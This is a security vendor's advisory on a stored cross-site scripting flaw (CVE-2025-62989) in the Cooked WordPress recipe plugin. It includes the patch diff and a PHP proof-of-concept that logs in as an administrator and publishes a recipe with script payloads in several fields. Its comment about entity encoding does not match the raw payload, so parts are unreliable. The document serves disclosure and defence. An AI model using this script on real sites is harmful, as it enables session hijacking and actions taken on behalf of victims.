Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62989: Cooked <= 1.11.3 – Authenticated (Administrator+) Stored Cross-Site Scripting (cooked)

Plugin cooked
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.11.3
Patched Version 1.11.4
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62989:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Cooked WordPress recipe plugin. The vulnerability affects multi-site installations and installations where the unfiltered_html capability is disabled. Attackers with administrator-level access can inject arbitrary JavaScript into recipe content, which executes when users view the affected recipe pages.

The root cause is insufficient input sanitization and output escaping in the recipe meta data handling functions. The vulnerability exists in the Cooked_Recipe_Meta::meta_cleanup() method within /cooked/includes/class.cooked-recipe-meta.php. This method processes user-supplied recipe data from the $_POST[‘_recipe_settings’] array. The vulnerable code paths include the handling of ‘content’, ‘excerpt’, ‘notes’, ‘title’, and nested fields within ‘ingredients’ and ‘directions’ arrays. The sanitization logic incorrectly used wp_kses_post() on already HTML-entity-encoded values, preventing proper HTML tag filtering.

Exploitation requires an authenticated administrator to submit a specially crafted recipe edit request. The attack vector targets the recipe editor interface, specifically the AJAX or form submission endpoints that process recipe meta data. Attackers would inject JavaScript payloads into fields like recipe content, excerpt, notes, or ingredient names. These payloads bypass the wp_kses_post() sanitization because the HTML tags are encoded as HTML entities (e.g., <script>) before sanitization occurs.

The patch addresses the vulnerability by implementing proper HTML entity decoding before sanitization. The key changes include replacing stripslashes() with wp_unslash() in multiple files and adding wp_specialchars_decode() calls before wp_kses_post() in the meta_cleanup() method. These changes ensure that HTML tags are properly decoded from their entity-encoded form before being filtered by wp_kses_post(). The patch also adds a security check in class.cooked-post-types.php to verify admin permissions and correct page context before processing settings updates.

Successful exploitation allows attackers with administrator privileges to inject persistent JavaScript payloads into recipe pages. This JavaScript executes in the context of any user viewing the compromised recipe, potentially enabling session hijacking, credential theft, or administrative actions performed on behalf of victims. The impact is limited to installations where administrators are not fully trusted, such as multi-site networks where site administrators have reduced privileges.

Differential between vulnerable and patched code

Code Diff
--- a/cooked/cooked.php
+++ b/cooked/cooked.php
@@ -6,7 +6,7 @@
 Description: 	A recipe plugin for WordPress.
 Author:         Gora Tech
 Author URI: 	https://goratech.dev
-Version: 		1.11.3
+Version: 		1.11.4
 Text Domain: 	cooked
 Domain Path: 	languages
 License:     	GPL2
@@ -30,7 +30,7 @@

 require_once __DIR__ . '/vendor/autoload.php';

-define( 'COOKED_VERSION', '1.11.3' );
+define( 'COOKED_VERSION', '1.11.4' );
 define( 'COOKED_DEV', false );

 if ( ! class_exists( 'Cooked_Plugin' ) ) :
@@ -254,7 +254,7 @@
             self::$instance->updates = new Cooked_Updates();
             self::$instance->post_types = new Cooked_Post_Types();
             self::$instance->recipe_meta = new Cooked_Recipe_Meta();
-            self::$instance->recipe_meta = new Cooked_Measurements();
+            self::$instance->measurements = new Cooked_Measurements();
             self::$instance->users = new Cooked_Users();
             self::$instance->recipes = new Cooked_Recipes();
             self::$instance->shortcodes = new Cooked_Shortcodes();
--- a/cooked/includes/class.cooked-ajax.php
+++ b/cooked/includes/class.cooked-ajax.php
@@ -351,7 +351,7 @@
         }

         if (isset($_cooked_settings['default_content'])) {
-            $default_content = stripslashes($_cooked_settings['default_content']);
+            $default_content = wp_unslash($_cooked_settings['default_content']);
         } else {
             $default_content = Cooked_Recipes::default_content();
         }
--- a/cooked/includes/class.cooked-delicious-recipes.php
+++ b/cooked/includes/class.cooked-delicious-recipes.php
@@ -104,7 +104,7 @@
         }

         if (isset($_cooked_settings['default_content'])) {
-            $default_content = stripslashes($_cooked_settings['default_content']);
+            $default_content = wp_unslash($_cooked_settings['default_content']);
         } else {
             $default_content = Cooked_Recipes::default_content();
         }
--- a/cooked/includes/class.cooked-functions.php
+++ b/cooked/includes/class.cooked-functions.php
@@ -20,7 +20,7 @@
 	private static $guest_message_id = false;

 	public static function sanitize_text_field( $text ) {
-		$text = htmlentities( stripslashes( $text ) );
+		$text = htmlentities( wp_unslash( $text ) );
 		$text = sanitize_text_field( $text );
 		return $text;
 	}
--- a/cooked/includes/class.cooked-measurements.php
+++ b/cooked/includes/class.cooked-measurements.php
@@ -13,9 +13,9 @@
 use NXPMathExecutor;

 /**
- * Cooked_Recipe_Meta Class
+ * Cooked_Measurements Class
  *
- * This class handles the Cooked Recipe Meta Box creation.
+ * This class handles the Cooked Measurements.
  *
  * @since 1.0.0
  */
--- a/cooked/includes/class.cooked-post-types.php
+++ b/cooked/includes/class.cooked-post-types.php
@@ -207,7 +207,8 @@

         $parent_page_slug = ( isset($_cooked_settings['browse_page']) && $_cooked_settings['browse_page'] ? ltrim( untrailingslashit( str_replace( home_url(), '', get_permalink( $_cooked_settings['browse_page'] ) ) ), '/' ) : false );

-        if (!empty($_GET['settings-updated'])) {
+        // Security check: Only allow settings update from admin area with proper permissions
+        if (!empty($_GET['settings-updated']) && is_admin() && current_user_can('manage_options') && isset($_GET['page']) && $_GET['page'] === 'cooked_settings') {
             // Recipe Permalink
             $permalink_parts = explode( '/', $_cooked_settings['recipe_permalink'] );
             if ( isset( $permalink_parts[1] ) ):
--- a/cooked/includes/class.cooked-recipe-maker.php
+++ b/cooked/includes/class.cooked-recipe-maker.php
@@ -105,7 +105,7 @@
         }

         if (isset($_cooked_settings['default_content'])) {
-            $default_content = stripslashes($_cooked_settings['default_content']);
+            $default_content = wp_unslash($_cooked_settings['default_content']);
         } else {
             $default_content = Cooked_Recipes::default_content();
         }
--- a/cooked/includes/class.cooked-recipe-meta.php
+++ b/cooked/includes/class.cooked-recipe-meta.php
@@ -39,13 +39,17 @@
                 if (!is_array($val)) {
                     if ( $key === "content" || $key === "excerpt" || $key === "notes" ) {
                         if ($wp_editor_roles_allowed) {
-                            $_recipe_settings[$key] = wp_kses_post( $val );
+                            // Decode HTML entities first so wp_kses_post can see actual HTML tags
+                            $decoded_val = wp_specialchars_decode( $val, ENT_QUOTES );
+                            $_recipe_settings[$key] = wp_kses_post( $decoded_val );
                         } else {
                             $_recipe_settings[$key] = Cooked_Functions::sanitize_text_field( $val );
                         }
                     } else {
                         if ($key === "post_title") {
-                            $_recipe_settings[$key] = wp_kses_post( $val );
+                            // Decode HTML entities first so wp_kses_post can see actual HTML tags
+                            $decoded_val = wp_specialchars_decode( $val, ENT_QUOTES );
+                            $_recipe_settings[$key] = wp_kses_post( $decoded_val );
                         } else {
                             $_recipe_settings[$key] = Cooked_Functions::sanitize_text_field( $val );
                         }
@@ -57,9 +61,18 @@
                         } else {
                             foreach ( $subval as $sub_subkey => $sub_subval ) {
                                 if ( !is_array($sub_subval) ) {
-                                    if ( $sub_subkey == 'content' || $key == 'ingredients' && $sub_subkey == 'name' || $key == 'ingredients' && ($sub_subkey == 'section_heading_name' || $sub_subkey == 'section_heading_element') || $key == 'directions' && ($sub_subkey == 'section_heading_name' || $sub_subkey == 'section_heading_element') ) {
+                                    if (
+                                        // For content keys: allow 'content'
+                                        ($sub_subkey === 'content') ||
+                                        // For ingredients: allow 'name' and section heading fields
+                                        ($key === 'ingredients' && ($sub_subkey === 'name' || $sub_subkey === 'section_heading_name' || $sub_subkey === 'section_heading_element')) ||
+                                        // For directions: allow 'content' and section heading fields
+                                        ($key === 'directions' && ($sub_subkey === 'content' || $sub_subkey === 'section_heading_name' || $sub_subkey === 'section_heading_element'))
+                                    ) {
                                         if ($wp_editor_roles_allowed) {
-                                            $_recipe_settings[$key][$subkey][$sub_subkey] = wp_kses_post( $sub_subval );
+                                            // Decode HTML entities first so wp_kses_post can see actual HTML tags
+                                            $decoded_sub_subval = wp_specialchars_decode( $sub_subval, ENT_QUOTES );
+                                            $_recipe_settings[$key][$subkey][$sub_subkey] = wp_kses_post( $decoded_sub_subval );
                                         } else {
                                             $_recipe_settings[$key][$subkey][$sub_subkey] = Cooked_Functions::sanitize_text_field( $sub_subval );
                                         }
@@ -129,7 +142,7 @@
         global $recipe_settings;

         /* OK, it's safe for us to validate/sanitize the data now. */
-        $recipe_settings = isset($_POST['_recipe_settings']) ? self::meta_cleanup( $_POST['_recipe_settings'] ) : [];
+        $recipe_settings = isset($_POST['_recipe_settings']) ? self::meta_cleanup( wp_unslash( $_POST['_recipe_settings'] ) ) : [];

         if ( isset( $recipe_settings['content'] ) ) {
             $recipe_settings['content'] = str_replace( ["rn", "r"], "n", $recipe_settings['content'] );
@@ -352,7 +365,7 @@
                 <?php endif; ?>

                 <div class="recipe-setting-block cooked-bm-30">
-                    <?php $recipe_content = isset($recipe_settings['content']) ? stripslashes(wp_specialchars_decode($recipe_settings['content'])) : (isset($_cooked_settings['default_content']) ? stripslashes(wp_specialchars_decode($_cooked_settings['default_content'])) : Cooked_Recipes::default_content()); ?>
+                    <?php $recipe_content = isset($recipe_settings['content']) ? wp_unslash($recipe_settings['content']) : (isset($_cooked_settings['default_content']) ? wp_unslash($_cooked_settings['default_content']) : Cooked_Recipes::default_content()); ?>
                     <?php
                         wp_editor($recipe_content, '_recipe_settings_content', [
                             'teeny' => false,
@@ -369,7 +382,7 @@
                     <h3 class="cooked-settings-title"><?php _e( 'Recipe Excerpt', 'cooked' ); ?><span class="cooked-tooltip cooked-tooltip-icon" title="<?php echo esc_attr( __( 'The excerpt is used on recipe listing templates, where the full recipe should not be displayed.','cooked') ); ?>"><i class="cooked-icon cooked-icon-question"></i></span></h3>
                     <p>
                         <?php if ( $wp_editor_roles_allowed ): ?>
-                            <?php $recipe_excerpt = isset($recipe_settings['excerpt']) ? stripslashes(wp_specialchars_decode($recipe_settings['excerpt'])) : ''; ?>
+                            <?php $recipe_excerpt = isset($recipe_settings['excerpt']) ? wp_unslash($recipe_settings['excerpt']) : ''; ?>
                             <?php
                             wp_editor($recipe_excerpt, '_recipe_settings_excerpt', [
                                 'teeny' => true,
@@ -429,7 +442,7 @@
                 <div class="recipe-setting-block cooked-bm-30">
                 <h3 class="cooked-settings-title"><?php _e( 'Recipe Notes', 'cooked' ); ?><span class="cooked-tooltip cooked-tooltip-icon" title="<?php echo __( 'The notes are displayed in the recipe.','cooked'); ?>"><i class="cooked-icon cooked-icon-question"></i></span></h3>
                     <?php if ( $wp_editor_roles_allowed ): ?>
-                        <?php $recipe_notes = isset($recipe_settings['notes']) ? stripslashes(wp_specialchars_decode($recipe_settings['notes'])) : ''; ?>
+                        <?php $recipe_notes = isset($recipe_settings['notes']) ? wp_unslash($recipe_settings['notes']) : ''; ?>
                         <?php
                             wp_editor($recipe_notes, '_recipe_settings_notes', [
                                 'teeny' => false,
--- a/cooked/includes/class.cooked-recipes.php
+++ b/cooked/includes/class.cooked-recipes.php
@@ -259,7 +259,7 @@

                         echo '<div class="cooked-srl-content">';

-                            echo '<div class="cooked-srl-title"><a href="' . esc_url( get_permalink($rid) ) . '">' . wp_kses_post( $recipe['title'] ) . '</a></div>';
+                            echo '<div class="cooked-srl-title"><a href="' . esc_url( get_permalink($rid) ) . '">' . esc_html( $recipe['title'] ) . '</a></div>';

                             if ( in_array('author', $_cooked_settings['recipe_info_display_options']) && !$hide_author ):
                                 echo '<div class="cooked-srl-author">';
--- a/cooked/templates/front/recipe-single.php
+++ b/cooked/templates/front/recipe-single.php
@@ -30,7 +30,7 @@

         do_action( 'cooked_recipe_grid_before_name', $recipe );

-        echo '<a href="' . esc_url( get_permalink( $recipe['id'] ) ) . '" class="cooked-recipe-card-title">' . wp_kses_post( $recipe_settings['title'] ) . '</a>';
+        echo '<a href="' . esc_url( get_permalink( $recipe['id'] ) ) . '" class="cooked-recipe-card-title">' . esc_html( $recipe_settings['title'] ) . '</a>';

         do_action( 'cooked_recipe_grid_after_name', $recipe );

--- a/cooked/templates/front/recipe.php
+++ b/cooked/templates/front/recipe.php
@@ -29,7 +29,7 @@
 	$recipe_content = $wp_embed->autoembed( $recipe_content );
 	$recipe_content .=  '<div id="cooked-fsm-' . intval( $recipe_id ) . '" class="cooked-fsm" data-recipe-id="' . intval( $recipe_id ) . '">';
 		$recipe_content .=  do_shortcode( Cooked_Recipes::fsm_content() );
-		$recipe_content .=  '<div class="cooked-fsm-top">' . wp_kses_post( $recipe_settings['title'] ) . '<a href="#" class="cooked-close-fsm"><i class="cooked-icon cooked-icon-close"></i></a></div>';
+		$recipe_content .=  '<div class="cooked-fsm-top">' . esc_html( $recipe_settings['title'] ) . '<a href="#" class="cooked-close-fsm"><i class="cooked-icon cooked-icon-close"></i></a></div>';
 		$recipe_content .=  '<div class="cooked-fsm-mobile-nav">';
 			$recipe_content .=  '<a href="#ingredients" data-nav-id="ingredients" class="cooked-fsm-nav-ingredients cooked-active">' . __( 'Ingredients', 'cooked' ) . '</a>';
 			$recipe_content .=  '<a href="#directions" data-nav-id="directions" class="cooked-fsm-nav-directions">' . __( 'Directions', 'cooked' ) . '</a>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62989 - Cooked <= 1.11.3 - Authenticated (Administrator+) Stored Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-site.com';
$username = 'admin';
$password = 'password';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Get login page and nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$response = curl_exec($ch);

preg_match('/name="log"[^>]+value="([^"]*)"/', $response, $log_match);
$log_nonce = $log_match[1] ?? '';

// Step 2: Authenticate as administrator
$post_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Access recipe creation page to get nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=cp_recipe');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_match);
$wp_nonce = $nonce_match[1] ?? '';

// Step 4: Create malicious recipe with XSS payload
// The payload uses HTML entity encoding to bypass wp_kses_post() in vulnerable versions
$malicious_content = '<script>alert(document.domain)</script>';
$malicious_title = '<img src=x onerror=alert("XSS")>';

$recipe_data = [
    'post_type' => 'cp_recipe',
    'post_title' => 'Malicious Recipe',
    '_recipe_settings[content]' => $malicious_content,
    '_recipe_settings[title]' => $malicious_title,
    '_recipe_settings[excerpt]' => $malicious_content,
    '_recipe_settings[notes]' => $malicious_content,
    '_recipe_settings[ingredients][0][name]' => $malicious_content,
    '_recipe_settings[directions][0][content]' => $malicious_content,
    '_wpnonce' => $wp_nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php?post_type=cp_recipe',
    'publish' => 'Publish'
];

// Submit the recipe
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($recipe_data));
$response = curl_exec($ch);

// Check if recipe was created
if (strpos($response, 'post-updated') !== false || strpos($response, 'post-published') !== false) {
    echo "[+] Malicious recipe created successfullyn";
    
    // Extract recipe ID from response
    preg_match('/post=([0-9]+)/', $response, $post_id_match);
    if (!empty($post_id_match[1])) {
        $recipe_id = $post_id_match[1];
        echo "[+] Recipe ID: $recipe_idn";
        echo "[+] View recipe at: $target_url/?p=$recipe_idn";
    }
} else {
    echo "[-] Recipe creation failedn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School